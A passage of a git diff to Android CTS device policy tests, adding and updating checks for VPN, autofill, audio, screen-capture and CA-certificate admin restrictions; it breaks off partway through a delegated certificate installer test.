     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
     <uses-permission android:name="android.permission.SET_WALLPAPER" />
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
 
-    <application
+    <!-- Add a network security config that trusts user added CAs for tests -->
+    <application android:networkSecurityConfig="@xml/network_security_config"
         android:testOnly="true">
 
         <uses-library android:name="android.test.runner" />
         <receiver
             android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            android:permission="android.permission.BIND_DEVICE_ADMIN"
+            android:directBootAware="true">
             <meta-data android:name="android.app.device_admin"
                        android:resource="@xml/device_admin" />
             <intent-filter>
@@ -54,16 +57,24 @@
             </intent-filter>
         </activity>
 
-        <activity android:name=".SetPolicyActivity" >
+        <activity
+            android:name=".SetPolicyActivity"
+            android:launchMode="singleTop">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
+        <activity android:name="com.android.cts.deviceandprofileowner.AutofillActivity"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.deviceandprofileowner"
-                     android:label="Profile and Device Owner CTS Tests"/>
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:label="Profile and Device Owner CTS Tests"
+            android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data
+                android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/device_admin.xml
index 335eadd..c43856e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/device_admin.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/device_admin.xml
@@ -17,5 +17,6 @@
          <reset-password />
          <limit-password />
          <disable-keyguard-features />
+         <disable-camera />
     </uses-policies>
 </device-admin>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/res/xml/network_security_config.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
similarity index 100%
rename from hostsidetests/devicepolicy/app/DeviceOwner/res/xml/network_security_config.xml
rename to hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
index 34566a1..01a5a3a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.deviceandprofileowner;
 
 import android.os.Bundle;
+import android.os.UserManager;
 
 import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
 
@@ -63,6 +64,18 @@
         VpnTestHelper.checkPing(TEST_ADDRESS);
     }
 
+    public void testDisallowConfigVpn() throws Exception {
+        mDevicePolicyManager.addUserRestriction(
+                ADMIN_RECEIVER_COMPONENT, UserManager.DISALLOW_CONFIG_VPN);
+        try {
+            testAlwaysOnVpn();
+        } finally {
+            // clear the user restriction
+            mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
+                    UserManager.DISALLOW_CONFIG_VPN);
+        }
+    }
+
     public void testAllowedApps() throws Exception {
         final Bundle restrictions = new Bundle();
         restrictions.putStringArray(RESTRICTION_ALLOWED, new String[] {mPackageName});
@@ -97,4 +110,3 @@
         assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
     }
 }
-
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
index 9ecc339..652c908 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
@@ -112,14 +112,16 @@
             fail("Expected SecurityException not thrown");
         } catch (SecurityException expected) {
             MoreAsserts.assertContainsRegex(
-                    "cannot manage application restrictions", expected.getMessage());
+                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    expected.getMessage());
         }
         try {
             mDevicePolicyManager.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
             fail("Expected SecurityException not thrown");
         } catch (SecurityException expected) {
             MoreAsserts.assertContainsRegex(
-                    "cannot manage application restrictions", expected.getMessage());
+                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    expected.getMessage());
         }
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
new file mode 100644
index 0000000..db54ac3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
@@ -0,0 +1,98 @@
+package com.android.cts.deviceandprofileowner;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.os.Handler;
+import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Testing
+ * {@link android.app.admin.DevicePolicyManager#setScreenCaptureDisabled(ComponentName, boolean)}
+ * is enforced in {@link android.service.voice.VoiceInteractionSession#onHandleScreenshot(Bitmap)}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class AssistScreenCaptureDisabledTest {
+    private static final String TAG = "DevicePolicyAssistTest";
+    
+    private static final String ACTION_CHECK_IS_READY = "voice_interaction_service.is_ready";
+    private static final String ACTION_SHOW_SESSION = "voice_interaction_service.show_session";
+    private static final String ACTION_HANDLE_SCREENSHOT =
+            "voice_interaction_session_service.handle_screenshot";
+    private static final String KEY_HAS_SCREENSHOT = "has_screenshot";
+    private static final String ASSIST_PACKAGE = "com.android.cts.devicepolicy.assistapp";
+
+    private static final int MAX_ATTEMPTS_COUNT = 5;
+    private static final int WAIT_IN_SECOND = 5;
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getContext();
+    }
+
+    @Test
+    public void testScreenCaptureImpossible_assist() throws Exception {
+        assertScreenCapturePossible(false);
+    }
+
+    @Test
+    public void testScreenCapturePossible_assist() throws Exception {
+        assertScreenCapturePossible(true);
+    }
+
+    private void assertScreenCapturePossible(boolean possible) throws InterruptedException {
+        // Wait until voice interaction service is ready by sending broadcast to ask for status.
+        Intent checkIsReadyIntent = new Intent(ACTION_CHECK_IS_READY);
+        checkIsReadyIntent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        checkIsReadyIntent.setPackage(ASSIST_PACKAGE);
+        boolean isAssistReady = false;
+        for (int i = 0; i < MAX_ATTEMPTS_COUNT && !isAssistReady; i++) {
+            Log.d(TAG, "assertScreenCapturePossible: wait for assist service ready, attempt " + i);
+            final LinkedBlockingQueue<Boolean> q = new LinkedBlockingQueue<>();
+            mContext.sendOrderedBroadcast(checkIsReadyIntent, null, new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    q.offer(getResultCode() == Activity.RESULT_OK);
+                }
+            }, null, Activity.RESULT_CANCELED, null, null);
+            Boolean result = q.poll(WAIT_IN_SECOND, TimeUnit.SECONDS);
+            isAssistReady = result != null && result;
+        }
+        Assert.assertTrue(isAssistReady);
+
+        // Send broadcast to voice interaction service and ask for screnshot.
+        BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(
+                mContext, ACTION_HANDLE_SCREENSHOT);
+        try {
+            receiver.register();
+            Intent showSessionIntent = new Intent(ACTION_SHOW_SESSION);
+            showSessionIntent.setPackage(ASSIST_PACKAGE);
+            mContext.sendBroadcast(showSessionIntent);
+            Intent screenShotIntent = receiver.awaitForBroadcast();
+            Assert.assertNotNull(screenShotIntent);
+            Assert.assertTrue(screenShotIntent.hasExtra(KEY_HAS_SCREENSHOT));
+            assertEquals(possible, screenShotIntent.getBooleanExtra(KEY_HAS_SCREENSHOT, false));
+        } finally {
+            receiver.unregisterQuietly();
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index 838580b..efc7115 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.deviceandprofileowner;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.AudioManager;
 import android.os.SystemClock;
 import android.os.UserManager;
@@ -27,6 +28,7 @@
 public class AudioRestrictionTest extends BaseDeviceAdminTest {
 
     private AudioManager mAudioManager;
+    private PackageManager mPackageManager;
     private final Callable<Boolean> mCheckIfMasterVolumeMuted = new Callable<Boolean>() {
         @Override
         public Boolean call() throws Exception {
@@ -38,10 +40,15 @@
     protected void setUp() throws Exception {
         super.setUp();
         mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        mPackageManager = mContext.getPackageManager();
     }
 
     // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume.
     public void testDisallowAdjustVolume_muted() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            return;
+        }
+
         // If we check that some value did not change, we must wait until the action is applied.
         // Method waitUntil() may check old value before changes took place.
         final int WAIT_TIME_MS = 1000;
@@ -71,6 +78,10 @@
     }
 
     public void testDisallowAdjustVolume() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            return;
+        }
+
         try {
             // Set volume of ringtone to be 1.
             mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, /* flag= */ 0);
@@ -106,6 +117,10 @@
     }
 
     public void testDisallowUnmuteMicrophone() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            return;
+        }
+
         try {
             mAudioManager.setMicrophoneMute(false);
             assertFalse(mAudioManager.isMicrophoneMute());
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillActivity.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillActivity.java
new file mode 100644
index 0000000..fa5cb97
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillActivity.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Wrapper class used to call the activity in the non-test APK and wait for its result.
+ */
+public class AutofillActivity extends Activity {
+
+    private static final String AUTOFILL_PACKAGE_NAME = "com.android.cts.devicepolicy.autofillapp";
+    private static final String AUTOFILL_ACTIVITY_NAME = AUTOFILL_PACKAGE_NAME + ".SimpleActivity";
+
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private boolean mEnabled;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final Intent launchIntent = new Intent();
+        launchIntent.setComponent(new ComponentName(AUTOFILL_PACKAGE_NAME, AUTOFILL_ACTIVITY_NAME));
+        startActivityForResult(launchIntent, 42);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        mEnabled = resultCode == 1;
+        mLatch.countDown();
+    }
+
+    public boolean isAutofillEnabled() throws InterruptedException {
+        final boolean called = mLatch.await(2, TimeUnit.SECONDS);
+        if (!called) {
+            throw new IllegalStateException(AUTOFILL_ACTIVITY_NAME + " didn't finish in 2 seconds");
+        }
+        finish();
+        return mEnabled;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
new file mode 100644
index 0000000..8babe14
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+
+import android.content.Intent;
+import static android.os.UserManager.DISALLOW_AUTOFILL;
+
+public class AutofillRestrictionsTest extends BaseDeviceAdminTest {
+
+    private static final String SERVICE_NAME =
+            "com.android.cts.devicepolicy.autofillapp/.SimpleAutofillService";
+    private static final String AUTOFILL_PACKAGE_NAME = "com.android.cts.devicepolicy.autofillapp";
+    private static final String AUTOFILL_ACTIVITY_NAME = AUTOFILL_PACKAGE_NAME + ".SimpleActivity";
+
+    // TODO: should static import Settings.Secure instead, but that's not a @TestApi
+    private static String USER_SETUP_COMPLETE = "user_setup_complete";
+
+    // Currently, autofill_service is a cloned service, so it's only set in the default user.
+    // That might change, so we're using a guard to decide how to set it
+    private final boolean USES_CLONED_SETTINGS = true;
+
+    int mUserId;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mUserId = getInstrumentation().getContext().getUserId();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        try {
+            disableService();
+        } finally {
+            mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
+        }
+        super.tearDown();
+    }
+
+    public void testDisallowAutofill_allowed() throws Exception {
+        enableService();
+
+        final boolean enabledBefore = launchActivityAndGetEnabled();
+        assertTrue(enabledBefore);
+
+        mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
+
+        // Must try a couple times because it will be disabled asynchronously.
+        for (int i = 1; i <= 5; i++) {
+            final boolean disabledAfter = !launchActivityAndGetEnabled();
+            if (disabledAfter) {
+                return;
+            }
+            Thread.sleep(100);
+        }
+        fail("Not disabled after 2.5s");
+    }
+
+    private boolean launchActivityAndGetEnabled() throws Exception {
+        final Intent launchIntent = new Intent();
+        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        launchIntent.setClassName(AUTOFILL_PACKAGE_NAME, AUTOFILL_ACTIVITY_NAME);
+        final AutofillActivity activity = launchActivity("com.android.cts.deviceandprofileowner",
+                AutofillActivity.class, null);
+        return activity.isAutofillEnabled();
+    }
+
+    private void enableService() throws Exception {
+        runShellCommand("settings put secure --user %d %s %s default", mUserId, USER_SETUP_COMPLETE,
+                1);
+
+        if (USES_CLONED_SETTINGS) {
+            runShellCommand("settings put secure %s %s default", AUTOFILL_SERVICE, SERVICE_NAME);
+        } else {
+            runShellCommand("settings put --user %d secure %s %s default",
+                    mUserId, AUTOFILL_SERVICE, SERVICE_NAME);
+        }
+        waitForServiceSettingSaved(SERVICE_NAME);
+    }
+
+    private void disableService() {
+        if (USES_CLONED_SETTINGS) {
+            runShellCommand("settings delete secure %s", AUTOFILL_SERVICE);
+        } else {
+            runShellCommand("settings delete --user %d secure %s", mUserId, AUTOFILL_SERVICE);
+        }
+    }
+
+    private void waitForServiceSettingSaved(String expected) throws Exception {
+        String actual = null;
+        // Wait up to 0.5 seconds until setting is saved.
+        for (int i = 0; i < 5; i++) {
+            if (USES_CLONED_SETTINGS) {
+                actual = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
+            } else {
+                actual = runShellCommand("settings get --user %d secure %s", mUserId,
+                        AUTOFILL_SERVICE);
+            }
+            if (expected.equals(actual)) {
+                return;
+            }
+            Thread.sleep(100);
+        }
+        fail("Expected service status for user " + mUserId + ": " + expected
+                + "; actual: " + actual + " after 0.5 seconds");
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 5a8186b..77214cb 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -23,6 +23,10 @@
 import android.content.pm.PackageManager;
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
 
 /**
  * Base class for profile and device based tests.
@@ -43,6 +47,8 @@
     protected UserManager mUserManager;
     protected Context mContext;
 
+    private final String mTag = getClass().getSimpleName();
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -65,4 +71,18 @@
         final PackageInfo pi = pm.getPackageInfo(mContext.getPackageName(), /* flags =*/ 0);
         return pi.applicationInfo.targetSdkVersion;
     }
+
+    /**
+     * Runs a Shell command, returning a trimmed response.
+     */
+    protected String runShellCommand(String template, Object...args) {
+        final String command = String.format(template, args);
+        Log.d(mTag, "runShellCommand(): " + command);
+        try {
+            final String result = SystemUtil.runShellCommand(getInstrumentation(), command);
+            return TextUtils.isEmpty(result) ? "" : result.trim();
+        } catch (Exception e) {
+            throw new RuntimeException("Command '" + command + "' failed: ", e);
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
new file mode 100644
index 0000000..4edf846
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.content.ComponentName;
+import android.net.http.X509TrustManagerExtensions;
+
+import java.io.ByteArrayInputStream;
+import java.security.GeneralSecurityException;
+import java.security.KeyStore;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+import java.util.List;
+
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.X509TrustManager;
+
+import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
+import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
+
+public class CaCertManagementTest extends BaseDeviceAdminTest {
+    private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
+
+    /**
+     * Test: device admins should be able to list all installed certs.
+     *
+     * <p>The list of certificates must never be {@code null}.
+     */
+    public void testCanRetrieveListOfInstalledCaCerts() {
+        List<byte[]> caCerts = mDevicePolicyManager.getInstalledCaCerts(mAdmin);
+        assertNotNull(caCerts);
+    }
+
+    /**
+     * Test: a valid cert should be installable and also removable.
+     */
+    public void testCanInstallAndUninstallACaCert()
+            throws CertificateException, GeneralSecurityException {
+        assertUninstalled(FAKE_RSA_1.caCertificate);
+        assertUninstalled(FAKE_DSA_1.caCertificate);
+
+        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
+        assertInstalled(FAKE_RSA_1.caCertificate);
+        assertUninstalled(FAKE_DSA_1.caCertificate);
+
+        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_RSA_1.caCertificate);
+        assertUninstalled(FAKE_RSA_1.caCertificate);
+        assertUninstalled(FAKE_DSA_1.caCertificate);
+    }
+
+    /**
+     * Test: removing one certificate must not remove any others.
+     */
+    public void testUninstallationIsSelective()
+            throws CertificateException, GeneralSecurityException {
+        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
+        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_DSA_1.caCertificate));
+
+        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_DSA_1.caCertificate);
+        assertInstalled(FAKE_RSA_1.caCertificate);
+        assertUninstalled(FAKE_DSA_1.caCertificate);
+
+        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_RSA_1.caCertificate);
+    }
+
+    /**
+     * Test: uninstallAllUserCaCerts should be equivalent to calling uninstallCaCert on every
+     * supplementary installed certificate.
+     */
+    public void testCanUninstallAllUserCaCerts()
+            throws CertificateException, GeneralSecurityException {
+        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
+        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_DSA_1.caCertificate));
+
+        mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
+        assertUninstalled(FAKE_RSA_1.caCertificate);
+        assertUninstalled(FAKE_DSA_1.caCertificate);
+    }
+
+    private void assertInstalled(byte[] caBytes)
+            throws CertificateException, GeneralSecurityException {
+        Certificate caCert = readCertificate(caBytes);
+        assertTrue(isCaCertInstalledAndTrusted(caCert));
+    }
+
+    private void assertUninstalled(byte[] caBytes)
+            throws CertificateException, GeneralSecurityException {
+        Certificate caCert = readCertificate(caBytes);
+        assertFalse(isCaCertInstalledAndTrusted(caCert));
+    }
+
+    private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
+        for (TrustManager trustManager : tmf.getTrustManagers()) {
+             if (trustManager instanceof X509TrustManager) {
+                 return (X509TrustManager) trustManager;
+             }
+        }
+        throw new RuntimeException("Unable to find X509TrustManager");
+    }
+
+    /**
+     * Whether a given cert, or one a lot like it, has been installed system-wide and is available
+     * to all apps.
+     *
+     * <p>A CA certificate is "installed" if it matches all of the following conditions:
+     * <ul>
+     *   <li>{@link DevicePolicyManager#hasCaCertInstalled} returns {@code true}.</li>
+     *   <li>{@link DevicePolicyManager#getInstalledCaCerts} lists a matching certificate (not
+     *       necessarily exactly the same) in its response.</li>
+     *   <li>Any new instances of {@link TrustManager} should report the certificate among their
+     *       accepted issuer list -- older instances may keep the set of issuers they were created
+     *       with until explicitly refreshed.</li>
+     *
+     * @return {@code true} if installed by all metrics, {@code false} if not installed by any
+     *         metric. In any other case an {@link AssertionError} will be thrown.
+     */
+    private boolean isCaCertInstalledAndTrusted(Certificate caCert)
+            throws GeneralSecurityException, CertificateException {
+        boolean installed = mDevicePolicyManager.hasCaCertInstalled(mAdmin, caCert.getEncoded());
+
+        boolean listed = false;
+        for (byte[] certBuffer : mDevicePolicyManager.getInstalledCaCerts(mAdmin)) {
+            if (caCert.equals(readCertificate(certBuffer))) {
+                listed = true;
+            }
+        }
+
+        // Verify that the user added CA is reflected in the default X509TrustManager.
+        final TrustManagerFactory tmf =
+                TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+        // Use platform provided CA store.
+        tmf.init((KeyStore) null);
+        X509TrustManager tm = getFirstX509TrustManager(tmf);
+        boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
+        X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(tm);
+        boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
+
+        // All three responses should match - if an installed certificate isn't trusted or (worse)
+        // a trusted certificate isn't even installed we should fail now, loudly.
+        assertEquals(installed, listed);
+        assertEquals(installed, trusted);
+        assertEquals(installed, userAddedCertificate);
+        return installed;
+    }
+
+    /**
+     * Convert an encoded certificate back into a {@link Certificate}.
+     *
+     * Instantiates a fresh CertificateFactory every time for repeatability.
+     */
+    private static Certificate readCertificate(byte[] certBuffer) throws CertificateException {
+        final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+        return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CustomizationRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CustomizationRestrictionsTest.java
index 021aace..dc85600 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CustomizationRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CustomizationRestrictionsTest.java
@@ -25,7 +25,7 @@
 import android.os.Process;
 import android.os.UserHandle;
 import android.os.UserManager;
-import android.cts.util.BitmapUtils;
+import com.android.compatibility.common.util.BitmapUtils;
 import com.android.cts.deviceandprofileowner.R;
 
 import java.io.Closeable;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index fe027f7..3a6e65a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -24,9 +24,18 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Build;
+import android.os.Process;
+import android.os.UserHandle;
 import android.security.KeyChainException;
 import android.test.MoreAsserts;
 
+import com.android.org.conscrypt.TrustedCertificateStore;
+
+import java.io.ByteArrayInputStream;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.util.List;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
@@ -170,14 +179,18 @@
         super.tearDown();
     }
 
-    public void testCaCertsOperations() throws InterruptedException {
-        byte[] cert = TEST_CA.getBytes();
+    public void testCaCertsOperations() throws InterruptedException, CertificateException {
+        final byte[] cert = TEST_CA.getBytes();
+        final Certificate caCert = CertificateFactory.getInstance("X.509")
+                .generateCertificate(new ByteArrayInputStream(cert));
+        final TrustedCertificateStore store = new TrustedCertificateStore();
 
         mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE);
         assertEquals(CERT_INSTALLER_PACKAGE,
                 mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT));
 
         // Exercise installCaCert()
